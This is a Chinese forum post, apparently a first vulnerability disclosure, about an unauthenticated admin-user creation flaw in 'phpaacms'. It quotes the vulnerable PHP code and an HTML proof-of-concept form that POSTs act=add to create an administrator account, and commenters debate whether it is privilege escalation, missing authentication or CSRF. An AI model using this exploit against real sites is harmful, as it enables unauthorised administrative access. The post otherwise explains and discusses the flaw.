phpaacms(不是phpcms)越权添加管理员
这个cms是我在站长网下的,是我第一次挖到的漏洞,但也是目前第一个,可能是好高骛远,刚有个个小的就去挖有防御机制的了,之前在别的论坛发过,但论坛人多帖子多,不回复,看过的没过100人就沉了,这次期中考试花了我差不多一个月时间,一分钟网都没上过,有种要被封的危机感,无奈又发出来了
代码:
//admin/user.action.php
<?php
header('Content-Type: text/html; charset=utf-8');
require_once ("global.php");
$act = $_POST ['act'];
if ($act=='add') {
if(empty($_POST['username'])){
exit("<script>alert('用户名不能为空!');window.history.go(-1)</script>");
}
if(empty($_POST['password'])){
exit("<script>alert('密码不能为空!');window.history.go(-1)</script>");
}
if($_POST['password']!=$_POST['password2']){
exit("<script>alert('两次密码输入不一致!');window.history.go(-1)</script>");
}
if(check_username($_SESSION['username'])){
exit("<script>alert('用户 ".$_POST['username']." 已经存在!');window.history.go(-1)</script>");
}
$record = array(
'username' =>$_POST ['username'],
'password' =>md5($_POST ['password']),
'userflag' =>$_POST ['userflag']
);
$id = $db->save('phpaadb_users',$record);
header("Location: user.php");
}
?>
<html>
<body>
<form action="/admin/user.action.php" method="post">
act: <input type="text" name="act" value="add" />
username: <input type="text" name="username" />
password: <input type="text" name="password" />
password2: <input type="text" name="password2" />
<input type="submit" />
</form>
</body>
</html>
评论44次
这应该不算是越权吧 后台文件没有验证应该是属于验证问题吧
越权的玩意
下来读下,好久没挖洞了。
能挖洞还怕不会html么...半天学会的节奏
支持一下!!!!
支持原创..
后台添加用户没有session验证 直接post提交数据添加
支持原创 好东西
支持 楼主一下啊 支持
谢谢提醒,第一次挖到的,写exp,可能有不好的地方,毕竟我没学过html,只是知道一些简单的,可能你没有源码 http://www.jb51.net/codes/23387.html,exp我测试过了,可行,如果你的没添加成功我也不知道什么原因
不是,变量act可控,而且它又是验证权限的,可以那么说把,实际上作者并没有验证权限,只要post过去的act能过if,帐号密码都有就实现了添加
我也眼误看成phpcms
不过有csrf,也是可以添加的!
require_once ("global.php"); 这个不是吃素的好不 ? 需要验证登陆的 看你的Exp都是相对路径额 ~~!!
支持一下~~~~~~~~~~~
所谓的越权 这里是不是后台添加管理用户那块 没有经过验证,在本地伪造页面 请求链接添加数据的过程?
支持原创 POC 的action那里是不是该写成网站全路径?
赞一个 支持原创 乍一看真心也看成了PHPCMS
支持 楼主一下啊 支持
支持原创,我看走眼了。 误以为是phpcms。